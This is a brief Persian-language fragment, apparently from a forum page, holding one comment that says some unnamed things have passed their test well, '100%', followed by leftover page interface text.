هستن ولی اینها امتحان خودشون رو به خوبی پس دادن %100
×
×
  • اضافه کردن...